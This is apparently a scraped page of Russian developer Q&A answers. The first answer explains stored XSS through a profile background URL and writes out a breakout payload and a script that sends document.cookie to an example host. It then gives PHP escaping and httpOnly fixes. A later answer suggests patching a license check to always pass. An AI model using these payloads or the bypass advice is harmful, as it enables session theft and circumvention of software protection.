• Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Почему компилятор выдает ошибку [Error] ld returned 1 exit status?

    jcmvbkbc
    @jcmvbkbc
    "I'm here to consult you" © Dogbert
    undefined reference to `OpenRusEng'

    ld наверно прав: в приведённом коде действительно нет такой функции.
    Ответ написан
    Комментировать
  • Как уменьшить размер шрифтов?

    Сделайте динамическую подгрузку данных. Пользователь выбрал шрифт -> загрузили его через ajax.
    Примерно так ->
    const url = 'https://fonts.googleapis.com/css?family=Oswald'
    
    const button = document.querySelector('button')
    button.addEventListener('click', event => {
        fetch(url)
            .then(response => response.text())
            .then(font => {
        	    const style = document.createElement('style')
        	    style.innerHTML = font
    
                document.head.appendChild(style)
        })
    })


    Потому что пользователю может совсем не нужен конструктор, он пришел почитать только о продукте, а вы грузите ему 6 шрифтов. А если потом надо будет поддерживать не 6 а 50?

    Посмотрите на google fonts. Они загружают 20 шрифтов перед открытием страницы, а она грузится за 2 секунды.
    5b69f90343abd543052508.png
    Потому что загружают не весь шрифт, а часть. Можете в network посмотреть. Если начать писать в превьюшке то загрузится весь шрифт

    Сначала так ->
    5b69f9f790d9b599912283.png
    Потом так ->
    5b69fa014169d151391998.png
    Ответ написан
    Комментировать
  • Это вообще люди делают?

    dimovich85
    @dimovich85 Куратор тега CSS
    https://u-academy.net/
    Поделюсь с вами вот такой ссылкой:
    https://www.youtube.com/playlist?list=PLswdBLT9llb...
    Ответ написан
    1 комментарий
  • Можно ли во Vue.js создавать несколько родительских компонентов?

    bingo347
    @bingo347
    Crazy on performance...
    Во-первых посмотрите в сторону vue-router
    В его же документации можно найти про динамический импорт
    Кроме того, вряд ли точка входа - app.vue, скорее это некий .js файл, который импортит app.vue, это если ручками захочется этим всем рулить.
    Ну и наконец, тот же webpack позволяет Вам иметь несколько точек входа и даже для каждой свой конфиг задать
    Ответ написан
    3 комментария
  • Как достучаться до провайдера, чтобы он перестал маршрутизировать трафик через другую страну?

    martin74ua
    @martin74ua Куратор тега Компьютерные сети
    Linux administrator
    Ваша проблема решается элементарно. Организуйте дешевый и качественный канал, раз уж мегафон не может, и предложите мегафону им воспользоваться.

    ЗЫ. Еще можно немного подучиться, почитать что то типа "сети для самых маленьких", может тогда начнете понимать, что в нашей реальности маршрут с одного дома на улице до другого в Питере может оказаться короче, если он идет через Гамбург...
    Ответ написан
    Комментировать
  • Может ли exe-шник редактировать сам себя?

    customtema
    @customtema
    arint.ru
    Хочу защитить программу от копирования


    SaaS.

    Можете сделать отдельные компоненты SaaS.
    Ответ написан
    Комментировать
  • Как убрать rsa 2048 ключи до компиляции?

    Методы везде возвращают NULL, где тут проверка на валидность ключа? Вам нужно то место, где ключи сравниваются и возвращаются два разных значения, в зависимости от успешности проверки. Как найдете такое место, то надо подправить код чтоб возвращал всегда одно и тоже значение.
    Ответ написан
    1 комментарий
  • Заказчик не отвечает уже порядка 5 дней?

    opium
    @opium
    Просто люблю качественно работать
    Написать все это не на тостер а в суппорт, мы тут не суппорт апворка
    Ответ написан
    Комментировать
  • На чем зарабатывают сайты без рекламы?

    Uwe_Boll
    @Uwe_Boll
    Я Злой и Страшный Уве Болл в Разработке знаю Толк
    на заказных статьях например
    Ответ написан
    Комментировать
  • На чем зарабатывают сайты без рекламы?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Есть много сайтов, которые не зарабатывают деньги вообще. Это нормально.

    Есть сайты, которые поддерживает неявный спонсор. Например википедия так жила много лет, и донат появился относительно недавно.

    Есть сайты, которые принадлежат некоему проекту, который приносит деньги. А сам сайт просто довесок.
    Ответ написан
    27 комментариев
  • Расширение для chrome, удалить куки и кэш на текущем сайте и обновить страницу?

    profesor08
    @profesor08
    F12 -> Application -> Cleart storage -> кнопка Clear site data
    В дальнейшем достаточно будет нажать F12 и нажать кнопку
    Ответ написан
    2 комментария
  • Расширение для chrome, удалить куки и кэш на текущем сайте и обновить страницу?

    Olek1
    @Olek1
    Ctrl+Shift+Delete / Enter
    Ответ написан
    Комментировать
  • Как правильно перенести файлы в Google Диск?

    @NichitencoEvgh
    1. Создаешь в приложении Google Drive на твоем компе папку для этих файлов.
    2. Закидываешь туда свои 50 гб, и затем ждешь, когда они синхронизируются с облаком.
    3. В настройках приложения Google Drive снимаешь синхронизацию с этой папки с файлами на компе.
    4. Удаляешь папку с файлами в приложении Google Drive . Они остаются только в облаке.
    Ответ написан
    Комментировать
  • В чем выгода бесплатных хостингов?

    opium
    @opium
    Просто люблю качественно работать
    Хостингер ничего нового не обкатывает , он тупо даёт полное гавнище и принуждает тебя перейти на новый тариф
    Ответ написан
    Комментировать
  • Как отправить файл на почту методом Qt?

    @OwDafuq
    Ответ написан
    Комментировать
  • Зачем задавать шрифт html в %?

    sim3x
    @sim3x
    Так делают если уважают пользовательские настройки шрифтов
    Если сайт не разлезется - значит или верстала про или повезло (если на разных не разлазится, то про)

    В пикселях - если плюют на пользовательские настройки, но тогда сайт не разлезется

    Тк большая часть юзеров вообще не в курсе, что они могут менять размер, тип и сам шрифт - серьезной проблемой не использование % / rem не является
    Ответ написан
    4 комментария
  • Один двумерный или два одномерных массива?

    jcmvbkbc
    @jcmvbkbc
    "I'm here to consult you" © Dogbert
    Что выбрать?

    То, в чём потом не запутаешься. Потому что в массивах ты уже запутался.
    Я бы предложил один массив структур с полями для имени, фамилии и отчества.

    Что лучше выбрать с точки зрения использования памяти и производительности?

    Лучше выбрать то, в чём потом не запутаешься. Если будет тормозить -- прогнать через профилировщик и смотреть на результаты профилирования.
    Ответ написан
    Комментировать